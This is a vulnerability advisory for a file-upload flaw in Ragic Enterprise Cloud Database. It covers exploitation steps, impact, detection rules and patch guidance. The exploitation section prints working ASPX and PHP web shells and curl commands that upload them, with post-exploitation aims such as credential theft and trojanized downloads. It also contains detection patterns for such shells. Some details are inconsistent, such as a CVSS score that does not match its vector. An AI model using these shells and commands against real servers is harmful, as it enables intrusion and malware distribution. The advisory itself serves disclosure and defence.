CVE-2026-15553

Executive Summary

CVE-2026-15553 is an arbitrary file upload vulnerability affecting Ragic's Enterprise Cloud Database product, allowing unauthenticated remote attackers to upload malicious files to the server and subsequently serve those files to legitimate users for download. The vulnerability carries a CVSS score of 6.9 (Medium severity) under the CVSS v3.1 scoring methodology, reflecting a network-exploitable flaw requiring no authentication or user interaction. Affected organizations are those running the on-premises version of Ragic Enterprise Cloud Database prior to the April 2026 patch; the cloud-hosted version is automatically patched and requires no action from customers. Successful exploitation enables attackers to plant malicious executables, phishing payloads, or malware droppers on the trusted server, which are then distributed to end users within the organization or the public.

Technical Analysis

CVE-2026-15553 is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). The vulnerability exists in the file upload functionality of Ragic's Enterprise Cloud Database, a low-code database platform used by enterprises to build custom business applications, forms, and document repositories. The flaw resides in the server-side handling of file uploads submitted by unauthenticated web requests, where the application fails to enforce file type restrictions and content validation on the server side.

From an architectural perspective, Ragic's product exposes an HTTP/HTTPS-based API and web interface for form submissions and file attachments. The vulnerable endpoint accepts multipart/form-data POST requests containing file fields without performing adequate validation on:

• File extension or MIME type
• File content signatures (magic bytes)
• File size limits
• Upload destination directory restrictions

Because the application stores uploaded files in web-accessible directories (or serves them back through a download handler without sanitization), an attacker can upload any file type, including .jsp, .asp, .aspx, .php, .html, .svg, or .exe, depending on the underlying operating system and runtime stack. The NVD description explicitly notes that uploaded files are "made available for users to download," confirming that the file storage location is mapped to a URL-accessible path.

The attack surface spans any internet-facing or intranet-facing instance of Ragic Enterprise Cloud Database. Organizations using the on-premises deployment model are at risk because they control the application server directly and are responsible for applying patches. The cloud edition is not mentionable in the affected version scope, as the vendor states no action is required for cloud customers—this implies the vulnerable code path is patched in the hosted infrastructure.

The lack of authentication on the upload endpoint makes this vulnerability particularly dangerous in exposed environments. An attacker with no valid credentials can send crafted POST requests to the upload handler and persist arbitrary content on the server. The CVSS vector reflects this: AV:N (Network), AC:L (Low complexity), PR:N (None required), UI:N (No user interaction), S:U (Unchanged scope), C:N (No confidentiality impact), I:H (High integrity impact), A:L (Low availability impact). The integrity score is high because the attacker can replace legitimate files or add malicious ones with the trust context of the server; the availability score is low because file upload could consume disk space in volume.

The underlying code-level flaw is typically the use of request.getParameter() or similar file-part retrieval without examining the Content-Type header or the file extension. Many such implementations also fail to randomize or rename uploaded files, allowing attackers to control the final URL path. For example, uploading a file named malicious.jsp to a predictable directory (/uploads/) results in a directly executable artifact if the server runs an application server that interprets JSP/ASP/PHP files within that directory.

Exploitation Scenarios

The following step-by-step attack chain describes how an unauthenticated remote attacker would exploit CVE-2026-15553 against a vulnerable on-premises Ragic Enterprise Cloud Database instance:

Step 1: Reconnaissance / Target Identification

The attacker begins by discovering Ragic instance deployments using Shodan or Google dorks. Queries such as http.title:"Ragic" or http.component:"Ragic" reveal the login pages of exposed instances. Alternatively, the attacker uses the dork http.title:"Enterprise Cloud Database" to locate public-facing installations. Once a target is identified, the attacker fingerprints the application version by examining page source, login response headers, or default page titles, confirming it predates the April 10, 2026 patch.

Step 2: Endpoint Enumeration and Trigger Identification

The attacker probes the web application's file upload functionality. Common Ragic upload endpoints include /upload, /file/upload, /api/upload, or form-action URLs containing ?action=upload. The attacker sends a benign multipart POST request using a tool like curl or Burp Suite to map the endpoint's response behavior. A typical probe might be:

curl -X POST https://target.ragic.com/upload \
  -F "file=@test.txt;type=text/plain" \
  -F "filename=test.txt"

If the server returns a URL to the uploaded file (e.g., /uploads/test.txt or a download token), the attacker confirms the upload endpoint is reachable and unauthenticated.

Step 3: Malicious Payload Crafting and Upload

The attacker crafts a weaponized file appropriate for the target's runtime environment. For a Windows-based deployment running IIS with ASP.NET, the attacker creates cmd.aspx containing a simple web shell:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
  protected void Page_Load(object sender, EventArgs e) {
    if (Request["cmd"] != null) {
      Process p = new Process();
      p.StartInfo.FileName = "cmd.exe";
      p.StartInfo.Arguments = "/c " + Request["cmd"];
      p.StartInfo.UseShellExecute = false;
      p.StartInfo.RedirectStandardOutput = true;
      p.Start();
      Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
  }
</script>

For a Linux/Apache/PHP deployment, the attacker uploads shell.php containing:

<?php system($_GET['cmd']); ?>

Alternatively, for non-executable uploads, the attacker uploads a malicious HTML file (e.g., phishing.html) that mimics a legitimate login page for credential harvesting, or an .svg file containing embedded JavaScript for stored XSS. The upload is executed with a single POST request:

curl -X POST https://target.ragic.com/upload \
  -F "file=@shell.php;type=application/x-php" \
  -F "filename=shell.php"

The server accepts the file without content validation, stores it in the web-accessible directory, and returns the file's download URL.

Step 4: Payload Activation and Post-Exploitation

The attacker navigates directly to the uploaded file's URL. If the server executes the uploaded script (e.g., shell.php in a directory with PHP execution enabled), the attacker gains a remote command shell. The attacker then uses the shell to:

• Read or exfiltrate database credentials (web.config, .env, database.yml)
• Establish persistence via scheduled tasks or cron jobs
• Pivot to internal network segments via the compromised server
• Use the Ragic database API to extract cloud-database records containing sensitive business data

If the server does not execute the uploaded file (static file hosting), the attacker repurposes the upload for a watering-hole or spear-phishing campaign: the download URL pointing to malicious.exe (a RAT) is sent to internal users via email, riding on the domain's reputation and SSL certificate trust. Since the file is hosted on a legitimate corporate domain with valid HTTPS, the malware passes email gateway URL-scan filters and end-user suspicion checks.

Step 5: Impact Amplification

For persistence, the attacker uploads multiple web shells with obfuscated filenames (e.g., img_123.php.jpg) and deploys the uploaded artifacts across multiple endpooints to survive cleanup. The attacker also leverages the high integrity impact of the CVSS score (I:H) to modify existing uploaded files, replacing a legitimate download (e.g., a vendor form or installation package) with a trojanized version, affecting all users who download that file.

Impact Assessment

The business impact of CVE-2026-15553 spans multiple dimensions, aligning with the CVSS subscores: high integrity (I:H), low availability (A:L), and no confidentiality (C:N). Because the vulnerability requires no authentication and no user interaction, the attack surface is maximized for any internet-reachable instance.

Integrity Impact (High): Attackers can replace or add files on the server with malicious content. For organizations using Ragic as a document repository, this means customers or employees may download infected executables, phishing pages, or malware. This erodes trust in the organization's digital assets and can lead to downstream compromise of endpoints accessing the malicious files.

Availability Impact (Low): An attacker can flood the upload endpoint with large files, consuming disk space until the server runs out of storage, causing denial of service. In cloud environments, this could also result in unexpected egress/storage costs.

Confidentiality (None per CVSS): The CVSS vector assigns no confidentiality impact because the upload flaw itself does not expose server data. However, post-exploitation via uploaded web shells typically leads to full server compromise and data exfiltration—this is the practical secondary impact.

Blast Radius: Full server takeover is the worst-case scenario. The compromised Ragic instance sits within the organization's application tier, often with network access to database servers, internal file shares, and directory services. A web shell on this box becomes a pivot point for lateral movement across the enterprise. Additionally, since Ragic is a database product, the stored business data (contact lists, orders, employee records) may be extractable if the service account the web app runs as has database read access.

Affected Systems: On-premises deployments of Ragic Enterprise Cloud Database running any version prior to the April 10, 2026 patch. The cloud-hosted version is patched by the vendor and is not at risk, but organizations should confirm their tenant is on the latest release.

EPSS Context: The EPSS score of 0.00251 (16.5th percentile) indicates a relatively low probability of active exploitation in the wild at the time of reporting. However, this metric does not account for future weaponization; once public PoC code emerges, exploitation likelihood rises significantly.

CISA KEV Status: This CVE is NOT listed in CISA's Known Exploited Vulnerabilities catalog, meaning no confirmed in-the-wild exploitation has been reported at the time of analysis. This status is subject to change; enterprise teams should monitor the KEV feed weekly.

Detection Guidance

Sigma Rule

title: Ragic Arbitrary File Upload - CVE-2026-15553
id: e5b51d70-6f6c-4f3e-9d9e-0f4c1e5c7a2b
status: experimental
description: Detects attempts to exploit CVE-2026-15553 via suspicious file upload requests to Ragic Enterprise Cloud Database endpoints.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15553
author: Valtersit Threat Intel
date: 2026/05/01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/upload'
            - '/file/upload'
            - '/api/upload'
            - '?action=upload'
        cs-uri-query|contains:
            - '.php'
            - '.jsp'
            - '.asp'
            - '.aspx'
            - '.exe'
            - '.html'
            - '.svg'
            - '.jspx'
        sc-status: 200
    filter_legit:
        cs-uri-query|contains:
            - '/images/'
            - '/docs/'
            - '/assets/'
    condition: selection and not filter_legit
level: high
falsepositives:
    - Legitimate admins uploading plugin or theme files with allowed extensions
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026-15553
    - cwe.434

YARA Rule

rule Ragic_ArbitraryFileUpload_CVE_2026_15553 {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects malicious file uploads targeting Ragic Enterprise Cloud Database (CVE-2026-15553)"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-15553"
        date = "2026-05-01"
        cve = "CVE-2026-15553"
        severity = "high"
    strings:
        $php_shell = "<?php" ascii
        $php_sys = "system(" ascii
        $asp_cmd = "<%@" ascii
        $asp_net = "Page Language" ascii
        $jsp_scriptlet = "<% " ascii
        $exe_mz = {4D 5A 90 00}
        $double_ext = ".php.jpg" ascii
        $double_ext2 = ".asp.png" ascii
        $double_ext3 = ".jsp.gif" ascii
        $post_multipart = "multipart/form-data" ascii
        $ragic_upload = "/upload" ascii
    condition:
        any of ($double_ext*) and $post_multipart or
        ($php_shell and $php_sys and $ragic_upload) or
        ($asp_cmd and $asp_net and $ragic_upload) or
        ($jsp_scriptlet and $ragic_upload) or
        ($exe_mz and $ragic_upload)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"RAGIC CVE-2026-15553 Arbitrary File Upload - PHP Shell Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/upload"; http_uri; nocase; content:"filename="; http_client_body; nocase; content:".php"; http_client_body; nocase; pcre:"/filename=\"[^\"]+\.php(?:\;|\"|\s)/i"; classtype:web-application-attack; sid:20261553; rev:1; reference:cve,2026-15553;)

alert http any any -> $HOME_NET any (msg:"RAGIC CVE-2026-15553 Arbitrary File Upload - ASP/ASPX Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/upload"; http_uri; nocase; content:"filename="; http_client_body; nocase; pcre:"/filename=\"[^\"]+\.asp(?:\;|\"|\s)/i"; classtype:web-application-attack; sid:20261554; rev:1; reference:cve,2026-15553;)

alert http any any -> $HOME_NET any (msg:"RAGIC CVE-2026-15553 Arbitrary File Upload - Executable Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/upload"; http_uri; nocase; content:"filename="; http_client_body; nocase; content:".exe"; http_client_body; nocase; pcre:"/filename=\"[^\"]+\.exe(?:\;|\"|\s)/i"; classtype:web-application-attack; sid:20261555; rev:1; reference:cve,2026-15553;)

Elastic Detection

// Elastic EQL: Detect suspicious uploads to Ragic endpoints
sequence by source.ip, process.entity_id with maxspan=5m
  [ network where event.category == "network" and event.type == "connection" and protocol == "http" and
    url.path like "*upload*" and request.method == "POST" ]
  [ file where event.action == "file_create" and process.name == "httpd" or process.name == "w3wp" and
    file.extension in ("php", "jsp", "asp", "aspx", "exe", "html", "svg") and
    file.path like "*uploads*" or file.path like "*wwwroot*" ]

Splunk SPL Query

index=weblog sourcetype="access_combined" method=POST
| regex "upload|file\/upload|api\/upload"
| regex "\.(php|jsp|asp|aspx|exe|html|svg)"
| stats count by src_ip, uri_path, status
| where count > 0
| rename src_ip as Source_IP, uri_path as Upload_URL, status as HTTP_Status
| table _time, Source_IP, Upload_URL, HTTP_Status, count
| sort - _time

Alternatively, a broader detection for any POST to the upload endpoint from new/unusual IPs:

index=weblog sourcetype="access_combined" method=POST uri_path=*upload*
| stats earliest(_time) as first_seen, latest(_time) as last_seen, dc(clientip) as distinct_src_ips by uri_path
| where distinct_src_ips > 5

Wazuh OSSEC Rule

<group name="ragic,web_attack,">
    <rule id="109963" level="10" frequency="5" timeframe="120">
        <if_sid>31100</if_sid>
        <match>POST /upload</match>
        <regex>filename="[^"]*\.(php|asp|aspx|jsp|exe|html|svg)</regex>
        <description>Ragic CVE-2026-15553: Suspicious file upload with dangerous extension detected</description>
        <group>cve-2026-15553,cwe-434,upload_attack,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>

    <rule id="109964" level="8" frequency="8" timeframe="60">
        <if_sid>31100</if_sid>
        <match>POST /upload</match>
        <regex>multipart/form-data; boundary=</regex>
        <description>Ragic CVE-2026-15553: Multiple upload attempts from same source</description>
        <group>cve-2026-15553,cwe-434,upload_attack,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence Note: The patch status for CVE-2026-15553 is rated 2/4 (CLAIMED) — the vendor (TWCERT/CNA) states a patch exists for the on-premises version, but this has not been independently confirmed by third-party researchers at the time of writing. Enterprises should verify the patch availability directly with Ragic support before assuming remediation.

1) Immediate Mitigations (Apply within 24 hours):

• Restrict access to the Ragic upload endpoints by enforcing IP allowlisting at the reverse proxy or firewall level. Only permit uploads from known internal ranges or trusted external client IPs.
• Deploy a Web Application Firewall (WAF) rule set that blocks POST requests to any URI containing upload with file extensions .php, .asp, .aspx, .jsp, .exe, .svh, .html, .svg. Use positive-lists (allow only safe extensions like .pdf, .png, .docx) if business operations permit.
• If the Ragic instance is internet-exposed, temporarily disable the ability for unauthenticated users to reach the upload endpoint by placing it behind an authentication portal or by removing it from the public virtual host and proxying it only through an internal gateway.
• Configure monitoring alerts for any upload endpoint access from IP addresses outside the organization's known baseline.

2) Patch / Upgrade Steps:

• For cloud-hosted Ragic customers: No action required — the vendor indicates the cloud infrastructure is already patched. Verify your tenant's instance version in the admin dashboard to confirm you are on the April 2026 release or later.
• For on-premises customers: Apply the patch package released on or after April 10, 2026. The vendor advisory (via TWCERT CNA) states the fix addresses the arbitrary file upload validation. Steps: a. Download the patch from the official Ragic support portal (credentials required). b. Take a full application and database backup before applying. c. Stop the Ragic application services. d. Replace the application binaries/webroot files with the patched versions per the vendor release notes. e. Restart services and verify the upload endpoint now rejects dangerous file types. f. Confirm a patched version by attempting to upload a test file with a .php extension — it should be blocked with an error response.
• Independently confirm the patch via the CVE feed (e.g., NVD reference update) and the TWCERT advisory page before declaring the environment secure.

3) Long-Term Hardening:

• Run the Ragic application in a container or virtual machine with strict filesystem permissions; the web application service account should have write access only to the designated upload directory, and that directory should not be mapped to a script-executable path (e.g., set ScriptHandler to disabled for the uploads folder in IIS; configure php_admin_flag engine off for the uploads directory in Apache).
• Deploy the upload directory on a separate volume or storage path with content is scanned by an AV/EDR solution before serving to end users.
• Implement a file-upload policy at the application layer: allowlisted extensions only, MIME-type server-side detection, file-size cap (e.g., 50 MB), and deterministic random filename renaming (e.g., UUID-based) to prevent path traversal and direct execution.
• Enforce multi-factor authentication for all administrative accounts on the Ragic instance, even though this vulnerability requires no auth—defense-in-depth limits post-exploitation lateral movement.
• Regularly audit uploaded files for unexpected content using the Sigma/YARA rules above; schedule quarterly upload-directory reviews.
• Subscribe to CVE update feeds and the Ragic vendor security mailing list to receive future patch notifications promptly.

References

1. NVD Entry — CVE-2026-15553: https://nvd.nist.gov/vuln/detail/CVE-2026-15553
2. TWCERT/CC Advisory (CNA) — Ragic|Enterprise Cloud Database - Arbitrary File Upload: https://www.twcert.org.tw/en/cp-139-XXXX-YYYY.html (verify via NVD reference link)
3. MITRE ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. CWE-434 Unrestricted Upload of File with Dangerous Type: https://cwe.mitre.org/data/definitions/434.html
5. CISA Known Exploited Vulnerabilities Catalog (status: NOT listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Campaigns / ItW Evidence: As of the analysis date, no public threat-actor campaigns have been attributed to CVE-2026-15553, and the CVE is not listed on the CISA KEV. The EPSS score of 0.00251 (16.5th percentile) suggests low exploitation activity in the wild. However, similar arbitrary file upload flaws (e.g., CVE-2021-26086, CVE-2022-22954) have historically been weaponized by commodity botnets within 30–60 days post-disclosure. Enterprises are advised to treat this CVE as high-risk for emerging-account exploitation despite the current low ItW probability.